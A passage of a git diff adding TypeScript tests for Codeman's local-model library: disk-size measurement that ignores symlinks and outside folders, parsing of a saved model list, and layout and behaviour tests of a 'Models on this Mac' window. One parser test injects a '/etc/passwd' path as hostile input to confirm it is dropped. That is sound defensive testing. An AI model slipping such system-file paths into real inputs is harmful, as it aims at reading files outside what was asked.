writeFile(join(outside, 'huge'), 'h'.repeat(5000)); + await mkdir(join(paths.modelsDir, 'blobs', 'a-folder'), { recursive: true }); + await writeFile(join(paths.modelsDir, 'blobs', 'a-folder', 'inside'), 'i'.repeat(700)); + await symlink(join(outside, 'huge'), blob('sha256-link')); + await writeFile(blob('sha256-aaa'), 'x'.repeat(10)); + // The folder's file and the link's target are somebody else's: not counted. + expect(await measureModelStore(paths)).toBe(10); + }); + + it('a blob folder, a model store or a root that is a symlink counts as empty', async () => { + const outside = await outsideDir(); + await writeFile(join(outside, 'sha256-eee'), 'e'.repeat(900)); + await mkdir(paths.modelsDir, { recursive: true }); + await symlink(outside, join(paths.modelsDir, 'blobs')); + expect(await measureModelStore(paths)).toBe(0); + // A path that is not inside the local model folder is refused before anything is read. + expect(await measureModelStore({ ...paths, modelsDir: outside })).toBe(0); + }); +}); diff --git a/test/local-model-state-store.test.ts b/test/local-model-state-store.test.ts index f61373361..f51c8bfcc 100644 --- a/test/local-model-state-store.test.ts +++ b/test/local-model-state-store.test.ts @@ -196,6 +196,89 @@ describe('parseLocalModelState', () => { }); }); +describe('parseLocalModelState: the library', () => { + const QWEN = { + id: 'qwen3.6:35b-a3b', + label: 'Qwen3.6 35B-A3B', + context: 131072, + digest: '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba', + bytes: 23_105_798_956, + cli: { id: 'opencode', label: 'OpenCode' }, + verifiedAt: '2026-11-10T09:00:00.000Z', + }; + const MIMO = { id: 'mimo-v2.6:9b-q4_k_m', label: 'MiMo V2.6 9B', context: 65536, digest: 'abc123' }; + const read = (state: unknown) => parseLocalModelState(JSON.stringify(state)); + + it('reads back the checked models of an installed state and of a job, in their order', () => { + expect(read({ ...INSTALLED, library: [QWEN, MIMO] })).toEqual({ ...INSTALLED, library: [QWEN, MIMO] }); + expect(read({ ...PAUSED, library: [MIMO] })).toEqual({ ...PAUSED, library: [MIMO] }); + expect(read({ ...FAILED, library: [MIMO, QWEN] }).library).toEqual([MIMO, QWEN]); + }); + + it('a file an earlier build wrote has no list, and reads back without one', () => { + expect(read(INSTALLED)).toEqual(INSTALLED); + expect(read(INSTALLED)).not.toHaveProperty('library'); + expect(read(PAUSED)).not.toHaveProperty('library'); + }); + + it('an empty list stays an empty list: every checked model was deleted', () => { + expect(read({ ...PAUSED, library: [] }).library).toEqual([]); + }); + + it('a list that is not a list is dropped, the state is kept', () => { + for (const library of ['qwen', 7, { 0: QWEN }, null, true]) { + const state = read({ ...INSTALLED, library }); + expect(state.state).toBe('installed'); + expect(state).not.toHaveProperty('library'); + } + }); + + it('drops an entry that could never be switched to: without its id, label, context or digest', () => { + const library = [ + { ...QWEN, id: '' }, + { ...QWEN, label: 7 }, + { ...QWEN, context: 0 }, + { ...QWEN, context: '131072' }, + { ...QWEN, digest: undefined }, + 'qwen3.6:35b-a3b', + null, + ['qwen3.6:35b-a3b'], + MIMO, + ]; + expect(read({ ...INSTALLED, library }).library).toEqual([MIMO]); + }); + + it('keeps one entry per model: the first', () => { + const library = [QWEN, { ...QWEN, context: 65536 }, MIMO]; + expect(read({ ...INSTALLED, library }).library).toEqual([QWEN, MIMO]); + }); + + it('drops what it does not know inside an entry, and a member of the wrong type: an entry holds no path', () => { + const library = [ + { + ...QWEN, + path: '/Users/me/.codeman/local-model/models', + blobs: ['/etc/passwd'], + bytes: -5, + cli: { id: 'opencode' }, + verifiedAt: 7, + }, + ]; + const [entry] = read({ ...INSTALLED, library }).library ?? []; + expect(entry).toEqual({ id: QWEN.id, label: QWEN.label, context: QWEN.context, digest: QWEN.digest }); + expect(JSON.stringify(read({ ...INSTALLED, library }))).not.toContain('/'); + }); + + it('reads at most 64 entries of a list, however long it is', () => { + const library = Array.from({ length: 500 }, (_unused, i) => ({ ...MIMO, id: `model-${i}:9b` })); + expect(read({ ...INSTALLED, library }).library).toHaveLength(64); + }); + + it('an idle file has no list, whatever it says', () => { + expect(read({ schema: 1, state: 'idle', library: [QWEN] })).toEqual(IDLE_LOCAL_MODEL_STATE); + }); +}); + describe('readLocalModelState', () => { it('is idle when the file is missing, and never throws', async () => { expect(existsSync(FILE())).toBe(false); diff --git a/test/local-model-ui.browser.test.ts b/test/local-model-ui.browser.test.ts index d4def0822..016563238 100644 --- a/test/local-model-ui.browser.test.ts +++ b/test/local-model-ui.browser.test.ts @@ -11,7 +11,11 @@ * the fill follows the selection; * - the selected row carries the feature's colour on its reading edge; * - the welcome button is really gone while it is `hidden`, and the window paints above App - * Settings. + * Settings; + * - the models on this Mac: the sizes on disk end on one edge under their caption, a row's + * buttons end on the list's edge, the sizes do not move when a row's Delete question opens, + * a long list scrolls from its top (it is never cut off above the frame), and under 560px a + * row is two lines with nothing running off the side. * * The REAL index.html is served with its scripts taken out and the two shipping stylesheets * inlined (mobile.css under the media query its `` carries); the real module runs on a @@ -124,10 +128,54 @@ const STATUS = { developerTools: 'present', runtime: { version: '0.40.15', installed: false, downloadBytes: RUNTIME, downloadGb: '0.2', unpackedGb: '0.6' }, folder: '/Users/sam/.codeman/local-model', + library: [], actions: ['install'], }, }; +const libraryRow = (id: string, label: string, sizeGb: string, over: object = {}) => ({ + id, + label, + context: 131072, + sizeBytes: Number(sizeGb) * 1e9, + sizeGb, + active: false, + verified: true, + status: 'ready', + actions: ['use', 'delete'], + ...over, +}); + +/** An installed model with two more models beside it: one checked, one the runtime lists and Codeman never checked. */ +const INSTALLED = { + ...STATUS, + install: { + ...STATUS.install, + state: 'installed', + running: true, + runtime: { version: '0.40.15', installed: true, downloadBytes: 0, downloadGb: '0.0', unpackedGb: '0.6' }, + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' }, + cli: 'opencode', + cliLabel: 'OpenCode', + context: 131072, + port: 11435, + endpointId: 'local-ollama', + loaded: { context: 131072, memoryBytes: 26300000000, memoryGb: '26.3', onGpu: true }, + library: [ + libraryRow('qwen3.6:35b-a3b', 'Qwen3.6 35B-A3B', '23.1', { active: true, actions: [] }), + libraryRow('qwen3.8:27b-mtp-q4_k_m', 'Qwen3.8 27B', '17.7'), + libraryRow('mimo-v2.6:9b-q4_k_m', 'MiMo V2.6 9B', '6.6', { + context: undefined, + verified: false, + status: 'unverified', + actions: ['delete'], + }), + ], + store: { bytes: 47400000000, gb: '47.4' }, + actions: ['start-session', 'stop', 'install', 'use', 'delete-model', 'remove'], + }, +}; + type Box = { left: number; right: number; top: number; bottom: number; width: number; height: number }; /** What the page holds once the module ran on the stand-in class. */ @@ -160,7 +208,7 @@ describe('the local model window (real Chromium)', () => { }); /** The real page at a width, the module loaded, the answer in, the window closed. */ - async function load(width: number, height = 900) { + async function load(width: number, height = 900, answer: object = STATUS) { p = await browser.newPage({ viewport: { width, height }, deviceScaleFactor: 1 }); // No motion: the bar is at its width as soon as it is painted, so nothing here waits on a clock. await p.emulateMedia({ reducedMotion: 'reduce' }); @@ -178,7 +226,7 @@ describe('the local model window (real Chromium)', () => { w.app = new w.CodemanApp(); w.app._api = async () => ({ ok: true, status: 200, json: async () => ({ success: true, data: status }) }); await w.app.loadLocalModel(); - }, STATUS); + }, answer); } /** Two animation frames: whatever was just written is laid out and painted. */ @@ -343,6 +391,125 @@ describe('the local model window (real Chromium)', () => { expect(overflow).toBeLessThanOrEqual(0); }); + it('the models on this Mac: sizes on one edge, a row one line, its buttons on the list edge', async () => { + await load(1440, 900, INSTALLED); + await open(); + const rows = await boxes('.lm-lib-row'); + expect(rows).toHaveLength(3); + const names = await boxes('.lm-lib-name'); + const tags = await boxes('.lm-lib-tag'); + const sizes = await boxes('.lm-lib-size'); + const [caption] = await boxes('.lm-lib-caption-size'); + expect(same(sizes.map((box) => box.right))).toBe(true); + expect(same([caption.right, sizes[0].right])).toBe(true); + expect(same(names.map((box) => box.left))).toBe(true); + expect(same(tags.map((box) => box.left))).toBe(true); + // One line a row: the name, the tag, the size and the buttons share its middle. + const middle = (box: Box) => (box.top + box.bottom) / 2; + const actions = await boxes('.lm-lib-row .lm-lib-actions'); + for (let i = 0; i < rows.length; i++) { + expect(Math.abs(middle(names[i]) - middle(sizes[i]))).toBeLessThan(3); + expect(Math.abs(middle(tags[i]) - middle(sizes[i]))).toBeLessThan(3); + expect(names[i].right).toBeLessThanOrEqual(tags[i].left + 0.6); + expect(sizes[i].right).toBeLessThanOrEqual(actions[i].left + 0.6); + } + // The last button of a row ends where every line of the window ends: on "Add a model"'s edge. + const rowButtons = await boxes('.lm-lib-row .lm-lib-actions button:last-child'); + const [add] = await boxes('.lm-lib-foot button'); + expect(same([...rowButtons.map((box) => box.right), add.right])).toBe(true); + // The model in use carries the feature's colour on its reading edge; the others do not. + const paint = await p.evaluate(() => { + const probe = document.body.appendChild(document.createElement('i')); + probe.style.color = 'var(--lm-brand)'; + const brand = getComputedStyle(probe).color; + probe.remove(); + const edge = (sel: string) => getComputedStyle(document.querySelector(sel)!).borderLeftColor; + return { brand, on: edge('.lm-lib-row-on'), off: edge('.lm-lib-row:not(.lm-lib-row-on)') }; + }); + expect(paint.on).toBe(paint.brand); + expect(paint.off).not.toBe(paint.brand); + // The screen starts at the top of the frame, right under the header. + const [body] = await boxes('#localModelWindowBody'); + const [title] = await boxes('.lm-title'); + expect(title.top - body.top).toBeLessThan(40); + }); + + it('the Delete question opens under its row without moving the sizes', async () => { + await load(1440, 900, INSTALLED); + await open(); + const before = await boxes('.lm-lib-size'); + await p.click('.lm-lib-row:nth-of-type(3) .lm-lib-actions button:last-child'); + await painted(); + const [ask] = await boxes('.lm-lib-ask'); + const rows = await boxes('.lm-lib-row'); + const after = await boxes('.lm-lib-size'); + // Sideways nothing moved; the rows after the question moved down by it. + expect(after.map((box) => Math.round(box.right))).toEqual(before.map((box) => Math.round(box.right))); + expect(ask.top).toBeGreaterThanOrEqual(rows[1].bottom - 1); + expect(rows[2].top).toBeGreaterThanOrEqual(ask.bottom - 1); + // The row's own buttons are unseen while it is asked about, and the red button is the question's. + const seen = await p.evaluate(() => ({ + away: getComputedStyle(document.querySelector('.lm-lib-actions-away')!).visibility, + red: [...document.querySelectorAll('.local-model-window .wt-btn-danger')].map((el) => el.textContent), + focus: document.activeElement?.textContent, + })); + expect(seen).toEqual({ away: 'hidden', red: ['Delete'], focus: 'Cancel' }); + }); + + it('a long list of models scrolls from its top: the first lines are never cut off above the frame', async () => { + const many = Array.from({ length: 14 }, (_unused, i) => libraryRow(`model-${i}:9b`, `Model ${i}`, '6.6')); + const answer = { + ...INSTALLED, + install: { ...INSTALLED.install, library: [...INSTALLED.install.library, ...many] }, + }; + for (const [width, height] of [ + [1440, 900], + [390, 844], + ]) { + await load(width, height, answer); + await open(); + const scroll = await p.evaluate(() => { + const body = document.getElementById('localModelWindowBody')!; + const title = body.querySelector('.lm-title')!.getBoundingClientRect(); + const box = body.getBoundingClientRect(); + return { + overflows: body.scrollHeight > body.clientHeight, + top: body.scrollTop, + titleInside: title.top >= box.top - 0.5, + sideways: body.scrollWidth - body.clientWidth, + }; + }); + expect(scroll).toEqual({ overflows: true, top: 0, titleInside: true, sideways: 0 }); + // The buttons of the screen stay in the frame's foot, under the part that scrolls. + const [foot] = await boxes('#localModelWindowFoot'); + const [win] = await boxes('.local-model-window'); + expect(foot.bottom).toBeLessThanOrEqual(win.bottom + 0.6); + await p.close(); + } + }); + + it('the models on this Mac under 560px: two lines a row, nothing off the side', async () => { + await load(390, 844, INSTALLED); + await open(); + const names = await boxes('.lm-lib-name'); + const tags = await boxes('.lm-lib-tag'); + const sizes = await boxes('.lm-lib-size'); + for (let i = 0; i < names.length; i++) { + // The name and its size, then the state and what can be done. + expect(tags[i].top).toBeGreaterThanOrEqual(names[i].bottom - 1); + expect(sizes[i].top).toBeLessThan(names[i].bottom); + expect(same([names[i].left, tags[i].left])).toBe(true); + } + expect(same(sizes.map((box) => box.right))).toBe(true); + const buttons = await boxes('.lm-lib-row .lm-lib-actions button'); + for (const button of buttons) expect(button.height).toBeGreaterThanOrEqual(36); + const overflow = await p.evaluate(() => { + const body = document.getElementById('localModelWindowBody')!; + return body.scrollWidth - body.clientWidth; + }); + expect(overflow).toBeLessThanOrEqual(0); + }); + it('paints above App Settings when it is opened from there', async () => { await load(1440); await p.evaluate(() => document.getElementById('appSettingsModal')!.classList.add('active')); diff --git a/test/local-model-ui.test.ts b/test/local-model-ui.test.ts index e2b866aed..e0d50bd6b 100644 --- a/test/local-model-ui.test.ts +++ b/test/local-model-ui.test.ts @@ -18,6 +18,10 @@ * screen, and a 409 `size-changed` shows the new total and sends that one next; * - the poll: once a second while the window is open, never after it closes, and a tick that * moved only the download leaves the buttons in place; + * - the models on this Mac: the list with its sizes, the state of each row, "Use" (a switch + * with no confirm screen), "Delete" (asked once, in the row), "Add a model" (the chooser, + * where a row that is on this Mac already is switched to), the way back from a stopped job, + * and what an earlier Remove left on disk; * - every payload string lands as text: an `` in a model, agent or chip name, an * error's detail, a session name, a folder or a command creates no element; * - a button exists only for an action the server lists. @@ -48,6 +52,7 @@ import type { LocalModelConflict, LocalModelErrorCode, LocalModelInstallView, + LocalModelLibraryRow, LocalModelMessage, LocalModelStatus, NoneReason, @@ -383,11 +388,26 @@ function install(over: Partial = {}): LocalModelInstallVi developerTools: 'present', runtime: RUNTIME_MISSING, folder: FOLDER, + library: [], actions: ['install'], ...over, }; } +/** The installed model as the row of the library it is: in use, checked, with nothing to do on it. */ +const QWEN_ROW: LocalModelLibraryRow = { + id: 'qwen3.6:35b-a3b', + label: 'Qwen3.6 35B-A3B', + context: 131072, + sizeBytes: 23105798956, + sizeGb: '23.1', + active: true, + verified: true, + status: 'ready', + actions: [], +}; +const STORE_ONE = { bytes: 23105798956, gb: '23.1' }; + /** The members a job carries from `installing` on. */ const JOB: Partial = { model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' }, @@ -453,7 +473,9 @@ const INSTALLED = status( running: true, endpointId: 'local-ollama', loaded: { context: 131072, memoryBytes: 26300000000, memoryGb: '26.3', onGpu: true }, - actions: ['start-session', 'stop', 'remove'], + library: [QWEN_ROW], + store: STORE_ONE, + actions: ['start-session', 'stop', 'install', 'remove'], } ); const STOPPED = status( @@ -464,7 +486,9 @@ const STOPPED = status( running: false, endpointId: 'local-ollama', loaded: { context: 131072, memoryBytes: 26300000000, memoryGb: '26.3', onGpu: true }, - actions: ['start', 'remove'], + library: [QWEN_ROW], + store: STORE_ONE, + actions: ['start', 'install', 'remove'], } ); @@ -1705,6 +1729,8 @@ describe('an installed model', () => { // row's own estimate, so the two figures are never read as a contradiction. expect(texts(body, '.lm-aside')).toEqual([ 'Runs with OpenCode. Context 131,072 tokens. Takes 26.3 GB of memory now, and up to about 36 GB at its peak, with all of the context in use. All of it is on the GPU.', + // Under the list of models: what the downloads take on disk. + 'Downloaded models use 23.1 GB on this Mac.', ]); expect(buttons(body)).toEqual(['Remove', 'Stop', 'Start a session']); // One main action. @@ -2369,3 +2395,536 @@ describe('an installed model whose runtime did not start', () => { expect(verbs(app)).toEqual([['POST', '/api/local-model/runtime', { action: 'start' }]]); }); }); + +// ---------- The models on this Mac ---------- + +const GPT_ROW: LocalModelLibraryRow = { + id: 'gpt-oss:20b', + label: 'GPT-OSS 20B', + context: 65536, + sizeBytes: 13793441427, + sizeGb: '13.8', + active: false, + verified: true, + status: 'ready', + actions: ['use', 'delete'], +}; +const STORE_TWO = { bytes: 36899240383, gb: '36.9' }; + +/** Two models on this Mac, the Qwen one in use and running. */ +const TWO = status( + { budgetBytes: 40157944217, budgetGb: '40.2', budgetSource: 'measured' }, + { + ...INSTALLED.install, + library: [QWEN_ROW, GPT_ROW], + store: STORE_TWO, + actions: ['start-session', 'stop', 'install', 'use', 'delete-model', 'remove'], + } +); + +/** The buttons of the rows of the list (not the buttons of the screen), by their label. */ +const rowButtons = (page: Mounted) => texts(page.body, '.lm-lib-row .lm-lib-actions:not(.lm-lib-actions-away) button'); + +function pressIn(page: Mounted, selector: string, label: string) { + const found = [...page.frame.querySelectorAll(`${selector} button`)].find( + (el) => el.textContent === label + ); + expect(found, `no button "${label}" in ${selector}`).toBeTruthy(); + found!.click(); +} + +describe('the models on this Mac', () => { + it('lists the one installed model with its context, its state and its size on disk, and offers another', async () => { + const page = mount(); + await opened(page, INSTALLED); + const { body } = page; + expect(texts(body, '.lm-lib-caption-label')).toEqual(['Models on this Mac']); + expect(texts(body, '.lm-lib-caption-size')).toEqual(['On disk']); + expect(texts(body, '.lm-lib-label')).toEqual(['Qwen3.6 35B-A3B']); + expect(texts(body, '.lm-lib-meta')).toEqual(['131,072 tokens']); + expect(texts(body, '.lm-lib-tag .lm-tag')).toEqual(['In use']); + expect(texts(body, '.lm-lib-size')).toEqual(['23.1 GB']); + // The model in use wears the selected look, and nothing can be done ON it here. + expect(body.querySelector('.lm-lib-row')!.classList.contains('lm-lib-row-on')).toBe(true); + expect(rowButtons(page)).toEqual([]); + expect(texts(body, '.lm-lib-foot button')).toEqual(['Add a model']); + // A real list for assistive technology, named by its caption. + const list = body.querySelector('.lm-lib-list')!; + expect(list.getAttribute('role')).toBe('list'); + expect(list.getAttribute('aria-labelledby')).toBe('localModelLibraryLabel'); + expect(body.querySelectorAll('[role="listitem"]')).toHaveLength(1); + // The screen scrolls from its top: it is no short screen any more. + expect(body.dataset.long).toBe('true'); + // The buttons of the screen are what they were. + expect(buttons(body)).toEqual(['Remove', 'Stop', 'Start a session']); + }); + + it('two models: the one in use first, the other with Use and Delete, and what both take on disk', async () => { + const page = mount(); + await opened(page, TWO); + const { body } = page; + expect(texts(body, '.lm-lib-label')).toEqual(['Qwen3.6 35B-A3B', 'GPT-OSS 20B']); + expect(texts(body, '.lm-lib-meta')).toEqual(['131,072 tokens', '65,536 tokens']); + expect(texts(body, '.lm-lib-tag .lm-tag')).toEqual(['In use', 'Ready']); + expect(texts(body, '.lm-lib-size')).toEqual(['23.1 GB', '13.8 GB']); + expect(rowButtons(page)).toEqual(['Use', 'Delete']); + // A short label on screen, the model's name for a screen reader. + const [use, remove] = [...body.querySelectorAll('.lm-lib-row .lm-lib-actions button')]; + expect(use.getAttribute('aria-label')).toBe('Use GPT-OSS 20B'); + expect(remove.getAttribute('aria-label')).toBe('Delete GPT-OSS 20B'); + // Quiet buttons: the screen keeps its one main action, and nothing here is red yet. + expect(body.querySelectorAll('.lm-library .wt-btn-primary, .lm-library .wt-btn-danger')).toHaveLength(0); + expect(texts(body, '.lm-lib-notes .lm-aside')).toEqual(['Downloaded models use 36.9 GB on this Mac.']); + }); + + it('a row has a button only for an action the server lists for THAT row', async () => { + const page = mount(); + const rows: LocalModelLibraryRow[] = [ + QWEN_ROW, + { ...GPT_ROW, actions: ['use'] }, + { ...GPT_ROW, id: 'a:1b', label: 'A', status: 'changed', actions: ['delete'] }, + { ...GPT_ROW, id: 'b:1b', label: 'B', status: 'missing', actions: ['delete'] }, + { ...GPT_ROW, id: 'c:1b', label: 'C', context: undefined, verified: false, status: 'unverified', actions: [] }, + { id: 'd:1b', label: 'D', active: false, verified: false, status: 'unverified', actions: ['delete'] }, + ]; + await opened(page, status({}, { ...TWO.install, library: rows })); + const perRow = [...page.body.querySelectorAll('.lm-lib-row')].map((row) => [ + row.querySelector('.lm-lib-label')!.textContent, + row.querySelector('.lm-tag')!.textContent, + texts(row, '.lm-lib-actions button').join('+'), + ]); + expect(perRow).toEqual([ + ['Qwen3.6 35B-A3B', 'In use', ''], + ['GPT-OSS 20B', 'Ready', 'Use'], + ['A', 'Changed', 'Delete'], + ['B', 'Missing', 'Delete'], + ['C', 'Not checked', ''], + ['D', 'Not checked', 'Delete'], + ]); + // A row without a context or a size prints neither: no "undefined", no empty unit. + const last = [...page.body.querySelectorAll('.lm-lib-row')].at(-1)!; + expect(last.querySelector('.lm-lib-meta')).toBeNull(); + expect(last.querySelector('.lm-lib-size')!.textContent).toBe(''); + expect(page.body.textContent).not.toContain('undefined'); + // Each state has a colour of its own. + expect([...page.body.querySelectorAll('.lm-lib-tag .lm-tag')].map((tag) => tag.className)).toEqual([ + 'lm-tag lm-tag-inuse', + 'lm-tag lm-tag-ready', + 'lm-tag lm-tag-changed', + 'lm-tag lm-tag-missing', + 'lm-tag lm-tag-unverified', + 'lm-tag lm-tag-unverified', + ]); + }); + + it('Use switches at once: no confirm screen, and the screen says a switch is running', async () => { + const page = mount(); + const switching: LocalModelInstallView = { + ...TWO.install, + state: 'installing', + step: 'verify', + steps: ['verify', 'connect'], + model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B' }, + context: 65536, + library: [ + { ...QWEN_ROW, active: false }, + { ...GPT_ROW, actions: [] }, + ], + actions: ['cancel'], + }; + const { app } = await opened(page, TWO, () => ok(switching)); + pressIn(page, '.lm-lib-row', 'Use'); + await settle(); + expect(verbs(app)).toEqual([['POST', '/api/local-model/use', { modelId: 'gpt-oss:20b' }]]); + expect(page.body.dataset.screen).toBe('progress'); + expect(texts(page.body, '.lm-title')).toEqual(['Switching to GPT-OSS 20B']); + // Nothing is downloaded: no download bar, and the two steps of a switch. + expect(page.body.querySelector('.lm-meter')).toBeNull(); + expect(texts(page.body, '.lm-step-label')).toEqual(['Loading and checking', 'Connecting']); + expect(texts(page.body, '.lm-aside')).toEqual([ + 'You can close this window. The switch continues while Codeman is running.', + ]); + expect(buttons(page.body)).toEqual(['Cancel']); + }); + + it('a switch that is refused keeps the screen and prints the server sentence with the session names', async () => { + const page = mount(); + const { app } = await opened(page, TWO, () => + conflict({ + reason: 'sessions-open', + message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictSessionsOpen, vars: { sessions: 'w1-app, w2-api' } }, + sessions: ['w1-app', 'w2-api'], + }) + ); + pressIn(page, '.lm-lib-row', 'Use'); + await settle(); + expect(page.body.dataset.screen).toBe('installed'); + expect(texts(page.body, '.lm-notice-text')).toEqual([ + 'Sessions are still using this model: w1-app, w2-api. Close them first.', + ]); + expect(verbs(app)).toHaveLength(1); + expect(rowButtons(page)).toEqual(['Use', 'Delete']); + }); + + it('Delete asks once, in the row, and sends nothing until the red button is pressed', async () => { + const page = mount(); + const after: LocalModelInstallView = { + ...TWO.install, + library: [QWEN_ROW], + store: STORE_ONE, + actions: ['start-session', 'stop', 'install', 'remove'], + }; + const { app } = await opened(page, TWO, () => ok(after)); + pressIn(page, '.lm-lib-row', 'Delete'); + await settle(); + expect(verbs(app)).toEqual([]); + const ask = page.body.querySelector('.lm-lib-ask')!; + expect(texts(ask, '.lm-lead')).toEqual(['Delete GPT-OSS 20B from this Mac?']); + expect(texts(ask, '.lm-aside')).toEqual(['This frees 13.8 GB.']); + expect(texts(ask, 'button')).toEqual(['Cancel', 'Delete']); + // Red only here, in its own question. + expect(page.frame.querySelectorAll('.wt-btn-danger')).toHaveLength(1); + expect(ask.querySelector('.wt-btn-danger')!.textContent).toBe('Delete'); + // The question sits right under the row it is about. That row's own buttons keep their + // room (the sizes must not jump) and are out of reach: unseen, disabled, hidden from a reader. + const asked = ask.previousElementSibling!; + expect(asked.querySelector('.lm-lib-label')!.textContent).toBe('GPT-OSS 20B'); + expect(rowButtons(page)).toEqual([]); + const away = asked.querySelector('.lm-lib-actions')!; + expect(away.classList.contains('lm-lib-actions-away')).toBe(true); + expect(away.getAttribute('aria-hidden')).toBe('true'); + expect([...away.querySelectorAll('button')].every((button) => button.disabled)).toBe(true); + // The focus is on the safe answer. + expect((page.document.activeElement as HTMLElement).textContent).toBe('Cancel'); + + pressIn(page, '.lm-lib-ask', 'Cancel'); + await settle(); + expect(page.body.querySelector('.lm-lib-ask')).toBeNull(); + expect(rowButtons(page)).toEqual(['Use', 'Delete']); + expect(verbs(app)).toEqual([]); + // Back on the button that asked. + expect((page.document.activeElement as HTMLElement).dataset.lmKey).toBe('delete:gpt-oss:20b'); + + pressIn(page, '.lm-lib-row', 'Delete'); + await settle(); + pressIn(page, '.lm-lib-ask', 'Delete'); + await settle(); + expect(verbs(app)).toEqual([['DELETE', '/api/local-model/models', { modelId: 'gpt-oss:20b' }]]); + expect(texts(page.body, '.lm-lib-label')).toEqual(['Qwen3.6 35B-A3B']); + expect(page.body.querySelector('.lm-lib-ask')).toBeNull(); + expect(texts(page.body, '.lm-lib-notes .lm-aside')).toEqual(['Downloaded models use 23.1 GB on this Mac.']); + }); + + it('a delete the server refuses leaves the row and prints why', async () => { + const page = mount(); + await opened(page, TWO, () => + conflict({ + reason: 'model-active', + message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictModelActive, vars: { model: 'GPT-OSS 20B' } }, + }) + ); + pressIn(page, '.lm-lib-row', 'Delete'); + await settle(); + pressIn(page, '.lm-lib-ask', 'Delete'); + await settle(); + expect(texts(page.body, '.lm-notice-text')).toEqual([ + 'GPT-OSS 20B is the model in use. Switch to another model first, or remove the local model.', + ]); + expect(texts(page.body, '.lm-lib-label')).toEqual(['Qwen3.6 35B-A3B', 'GPT-OSS 20B']); + }); + + it('the Delete question of a row and the Remove question are never open together', async () => { + const page = mount(); + await opened(page, TWO); + pressIn(page, '.lm-lib-row', 'Delete'); + await settle(); + expect(page.body.querySelector('.lm-lib-ask')).not.toBeNull(); + press(page.body, 'Remove'); + await settle(); + expect(page.frame.querySelector('.lm-remove')).not.toBeNull(); + expect(page.frame.querySelector('.lm-lib-ask')).toBeNull(); + }); + + it('with the runtime stopped a row offers no delete, and one line says how to get it', async () => { + const page = mount(); + const stopped = status( + {}, + { + ...STOPPED.install, + library: [QWEN_ROW, { ...GPT_ROW, actions: ['use'] }], + store: STORE_TWO, + actions: ['start', 'install', 'use', 'remove'], + } + ); + await opened(page, stopped); + expect(rowButtons(page)).toEqual(['Use']); + expect(texts(page.body, '.lm-lib-notes .lm-aside')).toEqual([ + 'Downloaded models use 36.9 GB on this Mac.', + 'Press Start to delete a single model.', + ]); + // With one model there is no single model to delete, so the line is not there. + const one = mount(); + await opened(one, STOPPED); + expect(one.body.textContent).not.toContain('Press Start to delete'); + }); + + it('the screen that ends an install says one thing: no list, one button', async () => { + const page = mount(); + const { app, serve } = await opened(page, INSTALLING); + serve(TWO); + await app.loadLocalModel({ force: true }); + expect(page.body.dataset.screen).toBe('installed'); + expect(page.body.querySelector('.lm-library')).toBeNull(); + expect(page.body.dataset.long).toBe('false'); + expect(buttons(page.body)).toEqual(['Start a session']); + }); + + it('"Add a model" opens the chooser on an installed model, and Back returns to it', async () => { + const page = mount(); + const { app } = await opened(page, TWO); + pressIn(page, '.lm-lib-foot', 'Add a model'); + await settle(); + expect(page.body.dataset.screen).toBe('choose'); + expect(page.body.querySelectorAll('[role="radio"]').length).toBeGreaterThan(1); + expect(buttons(page.body)).toEqual(['Back', 'Install on this Mac']); + press(page.body, 'Back'); + await settle(); + expect(page.body.dataset.screen).toBe('installed'); + expect(verbs(app)).toEqual([]); + // No button without the server offering an install (no row fits, or it is not listed). + const none = mount(); + await opened(none, status({}, { ...TWO.install, actions: ['start-session', 'stop', 'remove'] })); + expect(texts(none.body, '.lm-lib-foot button')).toEqual([]); + }); + + it('in the chooser a model that is on this Mac says so, and is switched to without a download', async () => { + const page = mount(); + const answer = status( + { + pick: { ...PICK, library: 'active' }, + alternatives: [{ ...ALT_SLOW, library: 'ready' }, ALT_SMALL], + }, + TWO.install + ); + const { app } = await opened(page, answer, () => ok({ ...TWO.install, state: 'installing', step: 'verify' })); + pressIn(page, '.lm-lib-foot', 'Add a model'); + await settle(); + const rows = [...page.body.querySelectorAll('.lm-model')]; + const tagsOf = (row: Element) => texts(row, '.lm-tag'); + // The model in use: its own tag beside the server's, and nothing to do with it here. + expect(tagsOf(rows[0])).toContain('In use'); + const primary = () => page.frame.querySelector('.lm-buttons .wt-btn-primary')!; + expect(primary().textContent).toBe('In use'); + expect(primary().disabled).toBe(true); + + // A model that is on this Mac and checked: one click switches to it. + const ready = rows.find((row) => tagsOf(row).includes('On this Mac'))!; + expect(ready).toBeTruthy(); + (ready as HTMLElement).click(); + await settle(); + expect(primary().textContent).toBe('Use this model'); + expect(primary().disabled).toBe(false); + primary().click(); + await settle(); + expect(verbs(app)).toEqual([['POST', '/api/local-model/use', { modelId: ALT_SLOW.modelId }]]); + // No confirm screen was shown on the way. + expect(page.body.dataset.screen).toBe('progress'); + }); + + it('in the chooser a model that is not on this Mac is installed the usual way, with its sizes confirmed', async () => { + const page = mount(); + const answer = status({ pick: { ...PICK, library: 'active' }, alternatives: [ALT_SMALL] }, TWO.install); + const { app } = await opened(page, answer, () => ok({ ...TWO.install, state: 'installing', step: 'model' })); + pressIn(page, '.lm-lib-foot', 'Add a model'); + await settle(); + const other = [...page.body.querySelectorAll('.lm-model')].find( + (row) => row.dataset.modelId === ALT_SMALL.modelId + )!; + other.click(); + await settle(); + press(page.body, 'Install on this Mac'); + await settle(); + expect(page.body.dataset.screen).toBe('confirm'); + press(page.body, 'Download and install'); + await settle(); + expect(verbs(app)).toEqual([ + [ + 'POST', + '/api/local-model/install', + { + modelId: ALT_SMALL.modelId, + cli: ALT_SMALL.harnesses[0].cli, + context: ALT_SMALL.context, + acknowledgedBytes: ALT_SMALL.installBytes, + }, + ], + ]); + }); + + it('a job that stopped beside a checked model shows the way back to that model', async () => { + const back: LocalModelLibraryRow = { ...QWEN_ROW, active: false, actions: ['use', 'delete'] }; + for (const first of [ + status( + {}, + { ...PAUSED.install, library: [back], actions: ['resume', 'install', 'use', 'delete-model', 'remove'] } + ), + status( + {}, + { + ...failed('no-tool-call', { model: 'GPT-OSS 20B' }).install, + library: [back], + actions: ['resume', 'install', 'use', 'delete-model', 'remove'], + } + ), + ]) { + const page = mount(); + const { app } = await opened(page, first, () => ok({ ...TWO.install, state: 'installing', step: 'verify' })); + expect(texts(page.body, 